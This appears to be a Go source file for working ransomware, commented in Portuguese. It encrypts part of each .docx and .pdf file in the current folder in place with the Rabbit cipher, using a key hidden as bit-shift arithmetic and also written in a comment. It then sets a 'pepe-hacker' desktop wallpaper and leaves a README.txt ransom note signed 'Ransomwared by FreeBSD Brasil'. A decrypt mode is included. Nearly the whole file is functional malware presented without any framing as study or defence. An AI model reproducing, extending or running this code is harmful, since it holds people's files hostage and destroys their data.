package main

// key: ./obfuse -s XLdoclqeDDDcxo12

import (
	"snix.ir/rabbitio"
	"unsafe"
	"fmt"
	"io/ioutil"
	"path/filepath"
	"os"
	"strings"
	"io"
	_ "embed"
	"log"
	"github.com/reujab/wallpaper"
)

const (
	EAX = uint8(unsafe.Sizeof(true))
)

func CheckFileSize(path string) (int64) {
	fileInfo, _ := os.Stat(path)
	return fileInfo.Size()
}

func getDesktopPath() (string, error) {
    var desktopPath string
    userProfile := os.Getenv("USERPROFILE")
    if userProfile == "" {
        return "", fmt.Errorf("não foi possível determinar o diretório do usuário")
    }
    desktopPath = filepath.Join(userProfile, "Desktop")
    return desktopPath, nil
}


func encryptFile(dir string, totalSize int64){
	buffer := make([]byte, totalSize)
	file, err := os.Open(dir) // Substitua pelo caminho do seu arquivo
	if err != nil {
		// // fmt.Println("Erro ao abrir o arquivo:", err)
		return
	}
	defer file.Close()
	file.Read(buffer)
	// fmt.Printf("Lido %d bytes: %s\n", n, string(buffer[:n]))


	var strr []byte
	strr = append(strr, ((EAX<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX<<EAX)
	strr = append(strr, ((EAX<<EAX<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, ((EAX<<EAX|EAX)<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (((((EAX<<EAX|EAX)<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX|EAX)<<EAX^EAX))
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX|EAX))
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX<<EAX<<EAX|EAX))
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX|EAX))
	strr = append(strr, (EAX<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (EAX<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (EAX<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX|EAX))
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX<<EAX)
	strr = append(strr, (((((EAX<<EAX|EAX)<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX|EAX)<<EAX^EAX))
	strr = append(strr, ((EAX<<EAX|EAX)<<EAX<<EAX<<EAX<<EAX|EAX))
	strr = append(strr, ((EAX<<EAX|EAX)<<EAX<<EAX<<EAX|EAX)<<EAX)

	key := []byte(strr)
    ivx := []byte("2x920d91")
    ptx := buffer

    str, err := rabbitio.NewCipher(key, ivx)
    if err != nil { panic(err) }
  
    cpt := make([]byte, len(ptx))
    str.XORKeyStream(cpt, []byte(ptx))


	fileWrite, er2r := os.OpenFile(dir, os.O_RDWR, 0644)
	if er2r != nil {
		return
	}
	_, err = fileWrite.Seek(0, io.SeekStart)
	if err != nil {
		return
	}
	_, err = fileWrite.Write(cpt)
	if err != nil {
		return
	}
}

func decryptFile(dir string, totalSize int64){
	buffer := make([]byte, totalSize)
	file, err := os.Open(dir) // Substitua pelo caminho do seu arquivo
	if err != nil {
		return
	}
	defer file.Close()
	file.Read(buffer)


	var strr []byte
	strr = append(strr, ((EAX<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX<<EAX)
	strr = append(strr, ((EAX<<EAX<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, ((EAX<<EAX|EAX)<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (((((EAX<<EAX|EAX)<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX|EAX)<<EAX^EAX))
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX|EAX))
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX<<EAX<<EAX|EAX))
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX|EAX))
	strr = append(strr, (EAX<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (EAX<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (EAX<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX<<EAX)
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX<<EAX<<EAX<<EAX|EAX)<<EAX|EAX))
	strr = append(strr, (((EAX<<EAX|EAX)<<EAX|EAX)<<EAX|EAX)<<EAX<<EAX<<EAX)
	strr = append(strr, (((((EAX<<EAX|EAX)<<EAX<<EAX|EAX)<<EAX|EAX)<<EAX|EAX)<<EAX^EAX))
	strr = append(strr, ((EAX<<EAX|EAX)<<EAX<<EAX<<EAX<<EAX|EAX))
	strr = append(strr, ((EAX<<EAX|EAX)<<EAX<<EAX<<EAX|EAX)<<EAX)

	key := []byte(strr)
	ivx := []byte("2x920d91")
	ptx := buffer

	str, err := rabbitio.NewCipher(key, ivx)
	if err != nil { panic(err) }

	plx := make([]byte, len(ptx))
	str.XORKeyStream(plx, ptx)


	fileWrite, er2r := os.OpenFile(dir, os.O_RDWR, 0644)
	if er2r != nil {
		// // fmt.Println("Erro ao abrir o arquivo para escrita:", er2r)
		return
	}
	_, err = fileWrite.Seek(0, io.SeekStart)
	if err != nil {
		// // fmt.Println("Erro ao reposicionar o ponteiro do arquivo:", err)
		return
	}
	_, err = fileWrite.Write(plx)
	// // fmt.Println("Escrevendo %d criptografados ", len(plx))
	if err != nil {
		return
	}
}

func doChaos() {
	dir, err := os.Open(".")
    if err != nil {
        log.Fatal(err)
    }
    defer dir.Close()

    files, err := dir.Readdirnames(0) // 0 significa sem limite de arquivos
    if err != nil {
        log.Fatal(err)
    }


    // Exibe os arquivos
    for _, file := range files {
        // fmt.Println(file)
		if strings.HasSuffix(strings.ToLower(file), ".docx")  || strings.HasSuffix(strings.ToLower(file), ".pdf") {
			go func(){
				var fileSize = CheckFileSize(file) / 2
				// // fmt.Println("Arquivo encontrado:", path, fileSize)
				arg := os.Args[1]
				switch arg {
					case "e":
						encryptFile(file, fileSize)
					case "d":
						decryptFile(file, fileSize)
				}
			}()
		}
    }
}

//go:embed pepe-hacker.png
var imageBytes []byte


//go:embed pepe-hacker2.png
var imageBytes2 []byte

func setWallpaper() {
	// Cria um arquivo temporário, mas com o nome base desejado
	tmpFile, err := ioutil.TempFile("", "pepe-hacker.png") // Permite um sufixo único
	if err != nil {
		log.Fatalf("Erro ao criar arquivo temporário: %v", err)
	}
	defer tmpFile.Close() // Garante que o arquivo seja fechado quando a função terminar

	// Escreve os bytes da imagem no arquivo temporário

	arg := os.Args[1]
	switch arg {
		case "e":
			_, err = tmpFile.Write(imageBytes)
		case "d":
			_, err = tmpFile.Write(imageBytes2)
	}


	if err != nil {
		log.Fatalf("Erro ao escrever no arquivo: %v", err)
	}

	// Define o caminho do arquivo desejado sem sufixo numérico
	desiredFilePath := filepath.Join(filepath.Dir(tmpFile.Name()), "pepe-hacker.png")

	// Renomeia o arquivo temporário para o nome desejado
	err = copyFile(tmpFile.Name(), desiredFilePath)
	if err != nil {
		log.Fatalf("Erro ao renomear o arquivo: %v", err)
	}

	// Exibe o caminho do arquivo renomeado
	// fmt.Println("Arquivo renomeado com sucesso para:", desiredFilePath)

	// Define o wallpaper utilizando o arquivo renomeado
	err = wallpaper.SetFromFile(desiredFilePath) // Supondo que o pacote wallpaper seja importado corretamente
	if err != nil {
		log.Fatalf("Erro ao definir o wallpaper: %v", err)
	}

	// fmt.Println("Wallpaper configurado com sucesso!")
}

func copyFile(src, dst string) error {
	// Abre o arquivo de origem
	sourceFile, err := os.Open(src)
	if err != nil {
		return fmt.Errorf("erro ao abrir arquivo de origem: %v", err)
	}
	defer sourceFile.Close()

	// Cria ou abre o arquivo de destino
	destinationFile, err := os.Create(dst)
	if err != nil {
		return fmt.Errorf("erro ao criar arquivo de destino: %v", err)
	}
	defer destinationFile.Close()

	// Copia o conteúdo do arquivo de origem para o destino
	_, err = io.Copy(destinationFile, sourceFile)
	if err != nil {
		return fmt.Errorf("erro ao copiar conteúdo do arquivo: %v", err)
	}

	return nil
}

func main() {
	if len(os.Args) < 2 {
		// fmt.Println("Nenhum argumento fornecido.")
		return
	}

	doChaos()
	setWallpaper()
	desktoppath,_ := getDesktopPath()
	filePath := filepath.Join(desktoppath, "README.txt")
	file, err := os.Create(filePath)
	if err != nil {
		fmt.Println("Erro ao criar o arquivo:", err)
		return
	}
	defer file.Close()

	_, err = file.WriteString("- Ransomwared by FreeBSD Brasil - \nDear User,\nIf you are reading this message, it means that:\n - files are encrypted")
    if err != nil {
        fmt.Println("Erro ao escrever no arquivo:", err)
        return
    }


}